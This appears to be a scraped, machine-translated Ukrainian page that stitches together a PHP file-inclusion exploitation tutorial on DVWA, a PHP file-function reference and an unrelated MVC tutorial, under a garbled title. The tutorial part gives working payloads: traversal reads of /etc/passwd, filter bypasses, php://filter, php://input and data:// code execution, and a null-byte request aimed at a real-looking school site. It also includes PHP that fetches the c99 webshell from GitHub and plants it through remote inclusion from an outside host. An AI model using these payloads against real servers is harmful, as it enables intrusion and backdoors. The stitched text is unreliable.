Вигаданий view php file. File - Читає вміст файлу та поміщає його в масив. Працюємо з файлами на сервері

Іноді використання файлів називають інклудом, іноді розглядають як частину PHP ін'єкції (ін'єкція коду). Останнє не зовсім вірно, оскільки вразливість використання файлів не обов'язково пов'язана з виконанням коду.

Вразливість може виникнути при використанні (в PHP) таких виразів як:

  • require_once,
  • include_once,
  • include,
  • require,

У кожного з них є невеликі нюанси, але загальне у них те, що вони включають файл файлу і виконують його. Проблему ці вирази можуть викликати в тому випадку, якщо в них передається введення користувача, а програма недостатньо його відфільтровує.

До речі, так, це вирази, а не функції. Необов'язково писати так:

Require("somefile.php");

Більш кращим є такий варіант:

Require "somefile.php";

Але це відступ, який не має жодного відношення до вразливості.

Якщо инклуд файлів здійснюється виразами require_once, include_once, include, require, можна сказати, що у цей час має місце й ін'єкція коду. Тим не менш, можливий инклуд файлів без виконання коду на сервері. Наприклад, веб-сайт змінює зовнішній вигляд, виходячи з обраної теми. Назва тем відповідає назві HTML-файлів, які зчитуються на сервері. У цій ситуації якщо запит сформований так, щоб здійснити зчитування файлу, який для цього не призначений (наприклад, файл PHP), замість виконання команд буде виведено вихідний код PHP.

Користувач може вказати як файл для інклуда віддалений або локальний файл. На підставі цього виробляють два відповідні різновиди:

  • локальне використання файлів
  • віддалене використання файлів

Небезпека віддаленого инклуда полягає у виконанні довільного коду на вразливому сервері. Зазвичай це використовується для зараження бекдором.

Небезпека локального використання файлів полягає в тому, що користувач може вивести зміст файлів, на перегляд яких у нього немає прав (вихідні коди програм, системні файли з налаштуваннями та паролями). Також при локальному інклуді можливе виконання стороннього коду (наприклад, для зараження бекдором), якщо файл зі зловмисним кодом був завантажений на сервер, або використовувався метод отруєння логів, або деякі інші методи.

Локальний іклуд файлів не менш небезпечним, ніж використання віддалених файлів.

Експлуатація локального впровадження файлів

Спробувати свої сили на цій уразливості можна у Damn Vulnerable Web Application (DVWA). Я використовую Web Security Dojo, де DVWA вже встановлено.

Почнемо з низького рівня (low DVWA Security).

Перейдемо на сторінку File Inclusion http://localhost/dvwa/vulnerabilities/fi/?page=include.php

  • http://localhost/dvwa/vulnerabilities/fi/?page=file1.php
  • http://localhost/dvwa/vulnerabilities/fi/?page=file2.php
  • http://localhost/dvwa/vulnerabilities/fi/?page=file3.php

Якщо як аргумент змінної передається значення, схоже на ім'я файлу (file1.php, file2.php), можна припустити, що використовується инклуд. Оскільки розширення файла .php , то найімовірніше файл виконується на сервері (тобто можна здійснити використання коду), а чи не просто виводиться для показу.

У DVWA є сторінка http://localhost/dvwa/about.php, вона розташована на два рівні вгору, спробуємо переглянути її таким чином: http://localhost/dvwa/vulnerabilities/fi/?page=../../ about.php

Так, вразливість локального інклуду присутня. При введенні не фільтруються переходи у верхні директорії (../ ), список файлів для инклуда не є вичерпним (замість запропонованих file*.php ми вибрали about.php).

Іноді використовуються інклуд файлів, але адреси можуть виглядати, наприклад, http://localhost/dvwa/vulnerabilities/fi/?page=file1. У цьому випадку в скрипті може бути додано розширення і скрипт впроваджує файл, назва якого остаточно сформована в скрипті. Як правило, уразливість у такому вигляді важко/неможливо експлуатувати.

Часто як приклад експлуатації локального інклуда файлів люблять наводити щось на кшталт такого:

http://localhost/dvwa/vulnerabilities/fi/?page=../../../../../../../etc/passwd

Як бачимо, це спрацювало. Але оскільки веб-браузери ігнорують /r/n (символи нового рядка), нам потрібно відкрити вихідний код, щоб записи стали читаними:

На жаль, жодних паролів у файлі /etc/passwd вже давно немає.

З сервера можна стягнути різні файли налаштувань, SSL-сертифікати, в принципі, будь-який файл, який відкритий для читання всім користувачам або на читання якого у веб-сервера достатньо прав:

http://localhost/dvwa/vulnerabilities/fi/?page=../../../../../../../etc/apache2/apache2.conf

Що стосується загальних хостингів, то іноді вдається заглянути в чужі папки (знову ж таки, при неправильному налаштуванні прав користувачів).

http://localhost/dvwa/vulnerabilities/fi/?page=../../../evil/sqlite.db

Завдання ускладнюється тим, що нам потрібно знати шлях до файлу.

Експлуатація віддаленого впровадження файлів

PHP дуже гнучкий та дружній для розробників мову програмування. Команди впровадження (інклуда) файлів і деякі інші чудово розпізнають і правильно обробляють не тільки локальні файли, але і URL.

Спробуємо замість імені файлу записати URL сайту https://сайт/:

http://localhost/dvwa/vulnerabilities/fi/?page=https://сайт/

Подивіться, як цікаво виходить:

Сталося таке, PHP інтерпретатор отримав команду зробити іклуд файлу/сайту https://сайт/. Він відкрив/завантажив відповідну адресу та відправив отриманий код на виконання як PHP програми. Оскільки PHP виконує лише код, оточений відповідними тегами (в даному випадку коду взагалі не було), а все інше виводить як є, то вся сторінка веб-сайту виведена як є.

Звичайно, ця вразливість цікава нам не тим, що ми через один сайт можемо переглядати інші сайти.

  • Генеруємо / знаходимо вихідний код бекдору
  • Створюємо правильний з точки зору файлу PHP для виконання на сервері, який зберігає вихідний код бекдора в файл PHP
  • Зберігаємо отриманий код у ТЕКСТОВИЙ файл
  • Завантажуємо цей текстовий файл на підконтрольний сервер
  • На вразливому сервері за допомогою віддаленого інклуда файлів зберігаємо наш бекдор
  • Я виділив слово "текстовий" з тієї причини, що на підконтрольному нам сервері має бути саме текстовий файл, який не повинен виконатися на нашому сервері. Наш сервер повинен лише показати його вміст.

    Для створення бекдору можна скористатися Weevely, PhpSploit, а можна взяти готові рішення. Давайте цього разу скористаємося готовим.

    Я присвою змінній $backdoor вихідний код бекдору, який скачу з гітхабу. Потім використовую функцію file_put_contents для збереження отриманого вихідного коду файлу c99unlimited.php.

    Код, який я розмістив у текстовому файлі

    $backdoor = file_get_contents("https://raw.githubusercontent.com/BlackArch/webshells/master/php/c99unlimited.php"); file_put_contents("c99unlimited.php", "$backdoor"); echo "done!";

    Він доступний за адресою http://miloserdov.org/sec.txt

    Тепер, використовуючи віддалений іклуд, ми завантажуємо бекдор на вразливий сервер.

    http://localhost/dvwa/vulnerabilities/fi/?page=http://miloserdov.org/sec.txt

    Зверніть увагу до напис done!, вона виведена скриптом, тобто. мабуть все вийшло.

    Оскільки скрипт, який робить инклуд файлів розміщений у каталозі http://localhost/dvwa/vulnerabilities/fi/, а наш новий файл з бекдором повинен був зберегтися з ім'ям c99unlimited.php, то повна адреса бекдора на вразливому сервері має бути: http: //localhost/dvwa/vulnerabilities/fi/c99unlimited.php

    Перевіряємо:

    Відмінно, тепер у нас є всі функції, які можуть знадобитися адміністратору веб-сервера… і тим, хто має доступ до його сервера.

    Обхід фільтрації при локальному інклуді файлів

    Перейдемо на середній рівень (medium) безпеки (налаштовується в DVWA Security).

    Якщо ми заглянемо у вихідний код (кнопка View Source):

    ми побачимо, що тепер символи ../ фільтруються. Це не дасть нам перейти на каталозі вище за те, в якій працює вразливий скрипт.

    Тобто. так уже нічого не вийде:

    http://localhost/dvwa/vulnerabilities/fi/?page=../../../../../../../etc/mysql/my.cnf

    Давайте подумаємо, як працює фільтрація у цьому випадку? Допустимо, фільтрується слово «погано», тоді рядок виду

    добре погано

    після фільтрації буде такою:

    добре Добре

    А якщо вставити такий рядок

    погано хо

    то після фільтрації (буде видалено «погано») вийде

    погано

    У ../ ми вставляємо посередині ще раз ../ , виходить …/./

    Пробуємо таку адресу http://localhost/dvwa/vulnerabilities/fi/?page=…/./…/./…/./…/./…/./…/./…/./etc/mysql/ my.cnf

    Спрацювало!

    Ще одним варіантом обходу може бути кодування символів у шістнадцяткове кодування, приклад такого рядка:

    http://example.com/index.php?file=..%2F..%2F..%2F..%2Fetc%2Fpasswd

    «../» може замінюватись на «%2E%2E%2f».

    Також практикується подвійне кодування в шістнадцяткове кодування, при якому "../" замінюється на "%252E%252E%252F"

    Локальний іклуд файлів при додаванні розширення у скрипті

    Якщо код з інклудом файлів має вигляд:

    Тобто. до будь-якого введення користувача додається розширення.php або якесь інше, то це не дозволяє сформувати запит таким чином, щоб зробити атаку.

    Є кілька технік, які призначені для відкидання розширення, але їх можна вважати застарілими, оскільки вони працюють на PHP 5.3 та й то не всіх версій. Тим не менш, адміністратори веб-серверів клінічно консервативні і вважають за краще нічого не чіпати, якщо воно працює. Тобто. шанс зустріти сервер з дуже давньою версією PHP є, і про ці методики слід знати.

    Використання нульового байта %00 (null byte)

    Наприкінці запиту для ігнорування розширення додається нульовий байт:

    http://www.bihtapublicschool.co.in/index.php?token=/etc/passwd%00

    Другий метод називається атака обрізанням шляху. Суть у тому, що PHP обрізає шляхи довші за 4096 байт. При цьому PHP правильно відкриває файл, навіть якщо на кінці його імені є сліші та точки. Якщо як параметр передати щось на зразок?param1=../../../../etc/passwd/./././././ (де./ повторюється багато тисяч разів), то кінець файлу разом з розширенням (яке додав скрипт, внаслідок чого ім'я файлу стало includes/../../../../etc/passwd/./././././.php) буде відкинуто. І як ім'я файлу вийде includes/../../../../etc/passwd/./././././. А оскільки PHP не бентежать кінцеві слєші і./ на кінці файлу, він їх просто ігнорує, то загалом PHP відкриє файл на шляху includes/../../../../etc/passwd.

    Обхід фільтрації при віддаленому впровадженні файлів

    Як ми вже бачили у вихідному коді, на середньому рівні безпеки також відфільтровуються http:// та https://.

    Тепер http://localhost/dvwa/vulnerabilities/fi/? Ми скористаємося в точності тим самим прийомом, що і для обходу фільтрації при локальному інклуді. Сформований запит:

    http://localhost/dvwa/vulnerabilities/fi/?page=htthttps://ps://сайт/

    І ще зверніть увагу, що фільтрується, наприклад ftp , тобто. такий варіант спрацював би взагалі без жодних хитрощів:

    http://localhost/dvwa/vulnerabilities/fi/?page=ftp://сайт/

    Отримання вихідного коду PHP скриптів при інклуді файлів із php://filter

    Для цього трюку не потрібний віддалений іклуд файлів. Використовуватиметься свого роду мета-обгортка php://filter .

    Допустимо, ми хочемо побачити вихідний код файлу file1.php, тоді для нашої ситуації запит буде складено так:

    http://localhost/dvwa/vulnerabilities/fi/?page=php://filter/read=convert.base64-encode/resource=file1.php

    Зверніть увагу на безглуздий рядок з літер та цифр - це вихідний код файлу file1.php у кодуванні base64. Оскільки це base64, підтримуються і бінарні файли.

    Розкодуємо файл:

    Видалене виконання коду з php://input

    Це не схоже на використання файлів і для цього знову не потрібно завантажувати файли.

    Для допомоги я скористаюся розширенням FireFox, ви також можете використовувати його або будь-яку іншу програму (наприклад, curl), що вміє передавати дані методом POST.

    php://input має доступ до сирого тіла HTTP запиту, щоб зрозуміти, що include("php://input") робить, відкрийте сторінку

    http://localhost/dvwa/vulnerabilities/fi/?page=php://input

    А в тілі запиту надішліть правильний код PHP (наприклад, за допомогою методу POST). Це дозволить вам виконати будь-яку дозволену на віддаленому сервері функцію!

    Видалене виконання коду з data://

    Крім цього, PHP підтримує URL-схему data:// Ви можете розмістити код прямо у параметрі GET! Наступний тест не вимагає спеціальних інструментів, просто звичайний браузер для виконання атаки.

    http://localhost/dvwa/vulnerabilities/fi/?page=data:text/plaintext,

    Деякі фаєрволи веб-застосунків можуть помітити підозрілий рядок в URL і заблокувати злий запит. Але є спосіб зашифрувати рядок як мінімум у base64 кодування:

    http://localhost/dvwa/vulnerabilities/fi/?page=data:text/plain;base64, PD9waHAgcGhwaW5mbygpOyA/Pg==

    Виконання довільних команд із /proc/self/environ

    /proc/self/environ – це сховище змінних процесу. Якщо Apache має достатньо прав для доступу до нього, то при відкритті веб-сторінки, на якій присутній іклуд з подібним URL,

    www.website.com/view.php?page=../../../../../proc/self/environ

    виведе щось на зразок

    DOCUMENT_ROOT=/home/sirgod/public_html GATEWAY_INTERFACE=CGI/1.1 HTTP_ACCEPT=text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap , */*;q=0.1 HTTP_COOKIE=PHPSESSID=HTTP_HOST=www.website.com HTTP_REFERER=http://www.website.com/index.php?view=../../../../. ./../etc/passwd HTTP_USER_AGENT=Opera/9.80 (Windows NT 5.1; U; en) Presto/2.2.15 Version/10.00 PATH=/bin:/usr/bin QUERY_STRING=view=..%2F..% 2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fenviron REDIRECT_STATUS=200 REMOTE_ADDR=6x.1xx.4x.1xx REMOTE_PORT=35665 REQUEST_METHOD=GET REQUEST_URI=/index %2F..%2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fenviron SCRIPT_FILENAME=/home/sirgod/public_html/index.php SCRIPT_NAME=/index.php SERVER_ADDR=1xx.1xx. 1xx.6x [email protected] SERVER_NAME=www.website.com SERVER_PORT=80 SERVER_PROTOCOL=HTTP/1.0 SERVER_SIGNATURE=

    Зверніть увагу на HTTP_USER_AGENT . Замість нього можна підставити правильний PHP-код, який буде виконаний на віддаленому сервері.

    Травлення та використання логів при локальному інклуді файлів

    На жаль, на останніх версіях Apache цей метод більше не працює.

    Його суть полягає в тому, що в логі веб-сервера впроваджується код атакуючого. Це можна зробити шляхом заміни User-Agent або навіть просто передачею в GET параметрі.

    Статичне використання видаленого файлу

    Приклад статичного инклуда:

    Експлуатувати статичний іклуд можна в дуже екзотичних ситуаціях. Для впровадження зловмисного коду необхідно здійснити атаку людина-посередині між двома серверами: один з яких хостить веб-додаток, що використовує іклуд, а другий хостить файл, що використовується для инклуда.

    PHP file_exists("test.txt")// Чи існує файл? filesize("test.txt");//Дізнаємося розмір файлу //Повертається тимчасова мітка: fileatime("test.txt");//Дата останнього звернення до файлу //date("d M Y", $atime); filemtime("test.txt");//Дата зміни файлу //date("d MY", $mtime); filectime("test.txt");//Дата створення файлу(Windows) //date("d MY", $ctime); Файли: режими роботи PHP resource fopen (string filename, string mode) // resource - повертає покажчик на файл у разі успішної роботи, або FALSE у разі помилки Режим роботи Описr r+ w w+ а а+ b
    відкрити файл лише для читання;
    відкрити файл для читання та запису;
    відкрити файл лише для запису. Якщо він існує, поточний вміст файлу знищується. Поточна позиція встановлюється на початок;
    відкрити файл для читання та для запису. Якщо він існує, поточний вміст файлу знищується. Поточна позиція встановлюється на початок;
    Відкрийте файл для запису. Поточна позиція встановлюється на кінець файлу;
    відкрити файл для читання та запису. Поточна позиція встановлюється на кінець файлу;
    обробляти бінарний файл. Цей прапор необхідний під час роботи з бінарними файлами Windows.
    Відкриття та закриття файлів у PHP PHP $fi = fopen("test.html", "w+") or die("Помилка"); //Приклади $fi = fopen("http://www.you/test.html","r"); $fi = fopen("http://ftp.you/test.html", "r"); //Закриваємо fclose($fi) Читання файлів у PHP PHP //Читаємо файл fread(int fi, int length) $str = fread($fi, 5); // Читаємо перші 5 символів echo $str; // Оскільки курсор пересунувся $str = fread($fi, 12); // Читаємо наступні 12 символів echo $str; fgets(int fi[, int length]) // Прочитати рядок з файлу fgetss(int fi, int length [, string allowable]) // Прочитати рядок з файлу та відкинути HTML-теги // string allowable - теги, які необхідно залишити fgetc(int fi) //Зчитує символ із файлу

    Спочатку запис буде відбуватися на початок файлу, шляхом перезаписування існуючих даних, якщо вони є. Тому, якщо вам потрібно записати щось у кінець файлу, потрібно встановити відповідний режим читання, наприклад, a+.

    Маніпуляції з курсором у файлах PHP PHP int fseek (int fi, int offset [, int whence]) // Установка курсора // int fi - покажчик на файл // offset – кількість символів, на які потрібно пересунутись. //whence: //SEEK_SET - рух починається з початку файлу; //SEEK_CUR - рух походить від поточної позиції; //SEEK_END – рух йде від кінця файлу. fseek($fi, -10, SEEK_END); //Читаємо останні десять знаків $s = fread($fi, 10); $pos = ftell($fi); //Дізнаємося про поточну позицію rewind($f)//скидання курсору bool feof($f) //кінець файлу Пряма робота з файлами (даними) в PHP PHP array file(string filename) // Отримуємо вміст файлу у вигляді масиву // Ще один варіант прямої роботи з даними file_get_contents (string filename) // Читання (отримуємо весь файл одним рядком) // Запис у файл (спочатку перезаписується) file_put_contents (string filename, mixed data [, int flag]); //FILE_APPEND // Запис на кінець файлу: file_put_contents("test.txt", "дані", FILE_APPEND); //Якщо записати масив, $array = array("I", "live"); file_put_contents("test.txt", $array); //то отримаємо "Ilive" Управління файлами в php PHP copy(string source, string destination); // Копіювання файлу rename (str oldname, str newname); // Перейменування файлу unlink(string filename); // Видалення файлу Завантаження файлів на сервер PHP //Налаштування PHP.ini file_uploads (on|off) // дозволяємо.забороняємо завантаження файлів upload_tmp_dir // тимчасова папка для файлів, що завантажуються. за замовчуванням тимчасова папка upload_max_filesize (default = 2 Mb) // макс. розмір завантажуваного файлу post_max_size // загальний розмір форми, що посилається (має бути більше upload_max_filesize) //Просте завантаження HTML Працюємо з файлами на сервері PHP //Приймаємо дані $tmp = $_FILES["userfile"]["tmp_name"]; $name = $_FILES["userfile"]["name"]; // Переміщуємо файл move_uploaded_file ($ tmp, name); move_uploaded_file($tmp, "upload/".name); // перенаправляємо файл у папку upload // щодо поточного файлу //Що в масиві $_FILES $_FILES["userfile"]["name"] // ім'я файлу, наприклад, test.html $_FILES["userfile"][" tmp_name"] // тимчасове ім'я файлу (шлях) $_FILES["userfile"]["size"] // розмір файлу $_FILES["userfile"]["type"] // тип файлу $_FILES["userfile"] ["error"] // 0 - помилок немає, число - є Багато хто починає писати проект для роботи з єдиним завданням, не маючи на увазі, що це може вирости в розраховану на багато користувачів систему управління, ну припустимо, контентом або боронь бог, виробництвом. І все ніби здорово і класно, все працює, поки не починаєш розуміти, що той код, який написаний складається повністю і повністю з милиць і хардкода. Код перемішаний з версткою, запитами та милицями, що не піддається іноді навіть прочитанню. Виникає нагальна проблема: при додаванні нових фіч, доводиться з цим кодом дуже довго і довго возитися, згадуючи «а що ж там таке написано було?» і проклинати себе у минулому.

    Ви, можливо, навіть чули про шаблони проектування і навіть гортали ці прекрасні книги:

    • Е. Гамма, Р. Хелм, Р. Джонсон, Дж. Вліссідесс «Прийоми об'єктно орієнтованого проектування. Паттерни проектування»;
    • М. Фаулер "Архітектура корпоративних програмних додатків".
    А багато хто, не злякавшись величезних посібників і документацій, намагався вивчити якийсь із сучасних фреймворків і зіткнувшись зі складністю розуміння (через наявність безлічі архітектруних концепцій хитро пов'язаних між собою) відклали вивчення та застосування сучасних інструментів у «довгу скриньку».

    Подана стаття буде корисна насамперед новачкам. У всякому разі, я сподіваюся, що за пару годин ви зможете отримати уявлення про реалізацію MVC патерну, який лежить в основі всіх сучасних веб-фреймворків, а також отримати «їжу» для подальших роздумів над тим, «як варто робити». Наприкінці статті наводиться добірка корисних посилань, які також допоможуть розібратися з чого складаються веб-фреймворки (крім MVC) та як вони працюють.

    Пропалені PHP-програмісти навряд чи знайдуть у цій статті щось нове для себе, але їх зауваження та коментарі до основного тексту були б дуже доречними! Т.к. без теорії практика неможлива, а без практики теорія марна, то спочатку буде трохи теорії, а потім перейдемо до практики. Якщо ви вже знайомі з концепцією MVC, можете пропустити розділ з теорією та одразу перейти до практики.

    1. Теорія Шаблон MVC описує простий спосіб побудови структури програми, метою якого є відокремлення бізнес-логіки від інтерфейсу користувача. В результаті додаток легше масштабується, тестується, супроводжується і звичайно ж реалізується.

    Розглянемо концептуальну схему шаблону MVC (на мій погляд – це найбільш вдала схема з тих, що я бачив):

    В архітектурі MVC модель надає дані та правила бізнес-логіки, подання відповідає за інтерфейс користувача, а контролер забезпечує взаємодію між моделлю та поданням.

    Типову послідовність роботи MVC-програми можна описати так:

  • При заході користувача на веб-ресурс, скрипт ініціалізації створює екземпляр програми та запускає його на виконання.
    При цьому відображається вигляд, скажімо, головної сторінки сайту.
  • Програма отримує запит від користувача та визначає запитані контролер та дію. У разі головної сторінки виконується дія за замовчуванням ( index).
  • Додаток створює екземпляр контролера та запускає метод дії,
    в якому, наприклад, містяться виклики моделі, які зчитують інформацію з бази даних.
  • Після цього дія формує подання з даними, отриманими з моделі і виводить результат користувачеві.
  • Модель містить бізнес-логіку програми і включає методи вибірки (це можуть бути методи ORM), обробки (наприклад, правила валідації) і надання конкретних даних, що часто робить її дуже товстою, що цілком нормально.
    Модель не має безпосередньо взаємодіяти з користувачем. Усі змінні, що стосуються запиту користувача, повинні оброблятися в контролері.
    Модель не повинна генерувати HTML або інший код відображення, який може змінюватись залежно від потреб користувача. Такий код має оброблятися у видах.
    Одна й та сама модель, наприклад: модель аутентифікації користувачів може використовуватися як у користувальницькій, і у адміністративної частини докладання. У такому разі можна винести загальний код в окремий клас і успадковуватись від нього, визначаючи в спадкоємцях специфічні для додатків методи.

    Вигляд — використовується для визначення зовнішнього відображення даних, отриманих з контролера та моделі.
    Види містять HTML-розмітку та невеликі вставки PHP-коду для обходу, форматування та відображення даних.
    Не повинні безпосередньо звертатися до бази даних. Цим мають займатися моделі.
    Не повинні працювати з даними, отриманими із запиту користувача. Це завдання має виконувати контролер.
    Може безпосередньо звертатися до властивостей та методів контролера або моделей, щоб отримати готові до виведення даних.
    Види зазвичай поділяють на загальний шаблон, що містить розмітку, загальну для всіх сторінок (наприклад, шапку і підвал) та частини шаблону, які використовують для відображення даних, що виводяться з моделі або відображення форм введення даних.

    Контролер — зв'язуюча ланка, що з'єднує моделі, види та інші компоненти робочого додатку. Контролер відповідає за обробку запитів користувача. Контролер не повинен містити SQL-запитів. Їх краще тримати у моделях. Контролер не повинен містити HTML та іншу розмітку. Її варто виносити у види.
    У добре спроектованому MVC-додатку контролери зазвичай дуже тонкі і містять лише кілька десятків рядків коду. Чого не скажеш про Stupid Fat Controllers (SFC) у CMS Joomla. Логіка контролера досить типова і більшість її виноситься в базові класи.
    Моделі, навпаки, дуже товсті та містять більшу частину коду, пов'язану з обробкою даних, т.к. структура даних та бізнес-логіка, що міститься в них, зазвичай досить специфічна для конкретної програми.

    1.1. Front Controller і Page Controller У більшості випадків, взаємодія користувача з web-програмою проходить за допомогою переходів за посиланнями. Подивіться зараз на адресний рядок браузера – за цим посиланням ви отримали цей текст. За іншими посиланнями, наприклад, що знаходяться праворуч на цій сторінці, ви отримаєте інший вміст. Таким чином, посилання надає конкретну команду web-додатку.

    Сподіваюся, ви вже встигли помітити, що різні сайти можуть мати різні формати побудови адресного рядка. Кожен формат може відображати архітектуру веб-додатків. Хоча це не завжди так, але в більшості випадків це явний факт.

    Розглянемо два варіанти адресного рядка, якими показується якийсь текст і профіль користувача.

    Перший варіант:

  • www.example.com/article.php?id=3
  • www.example.com/user.php?id=4
  • Тут кожен сценарій відповідає за виконання певної команди.

    Другий варіант:

  • www.example.com/index.php?article=3
  • www.example.com/index.php?user=4
  • А тут усі звернення відбуваються в одному сценарії index.php.

    Підхід з безліччю точок взаємодії ви можете спостерігати на форумах з двигуном phpBB. Перегляд форуму відбувається через сценарій viewforum.php, перегляд топіка через viewtopic.php і т.д. Другий підхід, з доступом через один фізичний файл сценарію, можна спостерігати в моїй улюбленій CMS MODX, де всі звернення проходять через index.php.

    Ці два підходи абсолютно різні. Перший — характерний шаблону контролер сторінок (Page Controller), а другий підхід реалізується патерном контролер запитів (Front Controller). Контролер сторінок добре застосовувати для сайтів із досить простою логікою. У свою чергу, контролер запитів об'єднує всі дії з обробки запитів в одному місці, що дає йому додаткові можливості, завдяки яким можна реалізувати складніші завдання, ніж зазвичай вирішуються контролером сторінок. Я не вдаватимуся до подробиць реалізації контролера сторінок, а скажу лише, що в практичній частині буде розроблено саме контролер запитів (деяка подоба).

    1.2. Маршрутизація URLМаршрутизація URL дозволяє налаштувати програму на прийом запитів з URL, які не відповідають реальним файлам програми, а також використовувати ЧПУ, які семантично значущі для користувачів і кращі для пошукової оптимізації.

    Наприклад, для звичайної сторінки, що відображає форму зворотного зв'язку, URL міг би виглядати так:
    http://www.example.com/contacts.php?action=feedback

    Приблизний код обробки у такому разі:
    switch ($_GET ["action" ]) ( case "about" : require_once ("about.php" ); // сторінка "Про Нас" break ; case "contacts" : require_once ("contacts.php" ); // сторінка "Контакти" break; case "feedback": require_once ("feedback.php"); // сторінка "Зворотній зв'язок" break; default: require_once ("page404.php"); // сторінка "404" break;)
    Думаю, майже все так робили раніше.

    З використанням движка маршрутизації URL ви зможете для відображення тієї ж інформації налаштувати програму на прийом таких запитів:
    http://www.example.com/contacts/feedback

    Тут contacts є контролер, а feedback - це метод контролера contacts, що відображає форму зворотного зв'язку і т.д. Ми ще повернемося до цього питання у практичній частині.

    Також варто знати, що маршрутизатори багатьох веб-фреймворків дозволяють створювати довільні маршрути URL (вказати, що означає кожна частина URL) та правила їх обробки.
    Тепер ми маємо достатні теоретичні знання, щоб перейти до практики.

    2. ПрактикаДля початку створимо наступну структуру файлів та папок:


    Забігаючи наперед, скажу, що в папці core зберігатимуться базові класи Model, View та Controller.
    Їхні нащадки будуть зберігатися в директоріях controllers, models і views. Файл index.php це точка в ходу додатку. Файлbootstrap.php ініціює завантаження програми, підключаючи всі необхідні модулі та ін.

    Ітимемо послідовно; відкриємо файл index.php і наповнимо його наступним кодом:
    ini_set("display_errors", 1); require_once "application/bootstrap.php";
    Тут питань виникнути не повинно.

    Потім відразу ж перейдемо до фалу bootstrap.php :
    require_once "core/model.php"; require_once "core/view.php"; require_once "core/controller.php"; require_once "core/route.php"; Route::start(); // запускаємо маршрутизатор
    Перші три рядки підключатимуть поки що неіснуючі файли ядра. Останні рядки підключають файл із класом маршрутизатора та запускають його на виконання викликом статичного методу start.

    2.1. Реалізація маршрутизатора URLПоки що відхилимося від реалізації патерну MVC і займемося мрашрутизацією. Перший крок, який нам потрібно зробити, записати наступний код в .htaccess :
    RewriteEngine On RewriteCond %(REQUEST_FILENAME) !-f RewriteCond %(REQUEST_FILENAME) !-d RewriteRule .* index.php [L]
    Цей код перенаправить обробку всіх сторінок на index.php, що нам потрібно. Пам'ятаєте у першій частині ми говорили про Front Controller?!

    Маршрутизацію ми помістимо в окремий файл route.php директорію core. У цьому файлі опишемо клас Route, який запускатиме методи контролерів, які у свою чергу генеруватимуть вигляд сторінок.

    Вміст файлу route.php

    class Route ( static function start () ( // контролер і дія за умовчанням $controller_name = "Main" ; $action_name = "index" ; $routes = explode("/" , $_SERVER ["REQUEST_URI" ])); // отримуємо ім'я контролера if (!empty ($routes )) ( $controller_name = $routes ; ) // отримуємо ім'я екшену if (!empty ($routes )) ( $action_name = $routes ; ) // додаємо префікси $model_name = " Model_".$controller_name; $controller_name = "Controller_". ".php" ; $model_path = "application/models/" .$model_file ; if (file_exists($model_path )) ( include "application/models/" .$model_file ; ) // підчіплюємо файл з класом контролера ($controller_name ).".php" ; $controller_path = "application/controllers/" .$controller_file ; if (file_exists($controller_path )) ( include "application/controllers/" .$controller_file ; ) else ( /* правильно було б кинути тут виняток, але для спрощення відразу зробимо редирект на сторінку 404 */ Route::ErrorPage404(); ) // створюємо контролер $controller = new $controller_name ; $action = $action_name; if (method_exists($controller , $action )) ( // викликаємо дію контролера $controller ->$action (); ) else ( // тут також розумніше було б кинути виняток Route::ErrorPage404(); ) ) function ErrorPage404 ( ) ( $host = "http://" .$_SERVER ["HTTP_HOST" ]."/" ; header("HTTP/1.1 404 Not Found" ); header("Status: 404 Not Found" ); header(" Location:" .$host ."404" ); ) )


    Зауважу, що в класі реалізована дуже спрощена логіка (попри об'ємний код) і, можливо, навіть має проблеми безпеки. Це було зроблено намір, т.к. написання повноцінного класу маршрутизації заслуговує як мінімум на окрему статтю. Розглянемо основні моменти…

    В елементі глобального масиву $_SERVER["REQUEST_URI"] міститься повна адреса, за якою звернувся користувач.
    Наприклад: example.ru/contacts/feedback

    За допомогою функції explodeпровадиться поділ адреси на складові. В результаті ми отримуємо ім'я контролера, для наведеного прикладу це контролер contactsта ім'я дії, у нашому випадку — feedback.

    Далі підключається файл моделі (модель може бути відсутнім) і файл контролера, якщо такі є і нарешті, створюється екземпляр контролера і викликається дія, знову ж таки, якщо вона була описана в класі контролера.

    Отже, під час переходу, наприклад, за адресою:
    example.com/portfolio
    або
    example.com/portfolio/index
    роутер виконає такі дії:

  • підключить файл model_portfolio.php із папки models, що містить клас Model_Portfolio;
  • підключить файл controller_portfolio.php із папки controllers, що містить клас Controller_Portfolio;
  • створить екземпляр класу Controller_Portfolio і викличе стандартну дію — action_index, описану в ньому.
  • Якщо користувач спробує звернутися на адресу неіснуючого контролера, наприклад:
    example.com/ufo
    то його перекине на сторінку «404»:
    example.com/404
    Те саме станеться, якщо користувач звернеться до дії, яка не описана в контролері.2.2. Повертаємося до реалізації MVCПерейдемо в папку core і додамо до файлу route.php ще три файли: model.php, view.php та controller.php


    Нагадаю, що вони будуть містити базові класи, написання яких ми зараз і приступимо.

    Зміст файлу model.php
    class Model ( public function get_data () ( ) )
    Клас моделі містить єдиний порожній метод вибірки даних, який перекриватиметься у класах нащадків. Коли ми створюватимемо класи нащадки, все стане зрозуміліше.

    Зміст файлу view.php
    class View ( //public $template_view; // тут можна вказати загальний вигляд за замовчуванням. function generate ($content_view , $template_view , $data = null) ( /* if(is_array($data))) в змінні extract($data); ) */ include "application/views/" .$template_view ; ) )
    Не важко здогадатися, що метод generateпризначений на формування виду. До нього передаються такі параметри:

  • $content_file - види, що відображають контент сторінок;
  • $template_file - загальний для всіх сторінок шаблон;
  • $data - масив, що містить елементи контенту сторінки. Зазвичай заповнюється у моделі.
  • Функцією include динамічно підключається загальний шаблон (вид), всередині якого вбудовуватиметься вигляд
    для відображення вмісту конкретної сторінки.

    У нашому випадку загальний шаблон міститиме header, menu, sidebar і footer, а контент сторінок буде в окремому вигляді. Знову ж таки це зроблено для спрощення.

    Вміст файлу controller.php
    class Controller ( public $model ; public $view ; function __construct () ( $this ->view = new View(); ) ) )
    Метод action_index- Це дія, що викликається за замовчуванням, його ми перекриємо при реалізації класів нащадків.

    2.3. Реалізація класів нащадків Model та Controller, створення View"sТепер починається найцікавіше! Наш сайт-візитка складатиметься з наступних сторінок:
  • Головна
  • Послуги
  • Портфоліо
  • Контакти
  • А також сторінка «404»
  • Для кожної зі сторінок є свій контролер з папки controllers та вид з папки views. Деякі сторінки можуть використовувати модель або моделі з папки.


    На попередньому малюнку окремо виділено файл template_view.php – це шаблон, що містить загальну для всіх сторінок розмітку. У найпростішому випадку він міг би виглядати так:
    Головна
